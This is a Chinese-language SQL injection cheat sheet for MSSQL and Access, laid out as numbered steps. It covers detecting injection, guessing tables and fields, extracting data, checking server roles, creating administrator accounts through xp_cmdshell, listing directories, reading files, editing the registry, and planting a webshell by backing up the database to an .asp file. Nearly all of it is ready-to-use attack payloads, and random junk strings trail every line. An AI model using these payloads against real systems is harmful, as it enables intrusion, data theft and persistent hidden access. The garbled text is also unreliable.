1.判断是否有注入;and 1=1 ;and 1=2 Qhc;Zl
2.初步判断是否是mssql ;and user>0 _Ds,91<muQ
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3.注入参数是字符'and [查询条件] and ''=' M&faa7
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' OA\]|2 :
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5.判断数据库系统 k%O3\q
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;and (select count(*) from sysobjects)>0 mssql OUGkam0UK
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;and (select count(*) from msysobjects)>0 access ]W2#8:i
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 CP%^)LX *
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $2i@@#g8
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 NR
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9.(1)猜字段的ascii值(access) e`7>QS;.
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 pO:]3qv
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(2)猜字段的ascii值(mssql) F?H=2mzKbz
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 =GF=_Ac
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10.测试权限结构(mssql) );t+~YPS
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- tQNrDp+
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6hYz^}2g
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- em0Y' J
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 2;:p
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ]Z6? m
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Dr%wab"yy
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;and 1=(select IS_MEMBER('db_owner'));-- "Z,T%]
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11.添加mssql和系统的帐户 s>L.V2!$0
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;exec master.dbo.sp_addlogin username;-- h| wdx(4
;exec master.dbo.sp_password null,username,password;-- ?#Z4Dg
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- |#Lz0<c;
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;exec master.dbo.xp_cmdshell 'net user username password g9VY{[V
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- `<>QKpAn
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- IHd
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12.(1)遍历目录 ?(d1;/0v>
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;create table dirs(paths varchar(100), id int) u?dPCgs;h
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 'xkl|P>=],
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;and (select top 1 paths from dirs)>0 =IQ}Y_xr
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) { ,c*OR
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(2)遍历目录 >JS^yVk
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- sr&W+4T
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 KHHYk>FR
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 x:!s+q`
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .yXqa"p
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 g:JSy
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13.mssql中的存储过程 ws!~MSIy
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xp_regenumvalues 注册表根键, 子键 !^su=c
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 p5or"tK
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xp_regread 根键,子键,键值名 GK'p$`oJm
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 c6 mS
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xp_regwrite 根键,子键, 值名, 值类型, 值 |R@T`dW
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 MU
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xp_regdeletevalue 根键,子键,值名 .aY$-Y<
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Y 2ANt w@
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /^nIOAeE
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14.mssql的backup创建webshell lRg?||1ik
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use model jmr
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create table cmd(str image); >iOf3I-ATt
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insert into cmd(str) values (''); A3_p*n@
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backup database model to disk='c:\l.asp'; <F0^+Pf/
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15.mssql内置函数 ")uKDq
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;and (select @@version)>0 获得Windows的版本号 $]E+E.P
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ~KS@Ulrox
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;and (select user_name())>0 爆当前系统的连接用户 pK3A/ry<
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;and (select db_name())>0 得到当前连接的数据库 .@OQ$D <
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16.简洁的webshell +8//mrL_/
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use model uM[|>t
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create table cmd(str image); )x/#sW%)
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insert into cmd(str) values (''); 8~C}0H
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backup database model to disk='g:\wwwtest\l.asp';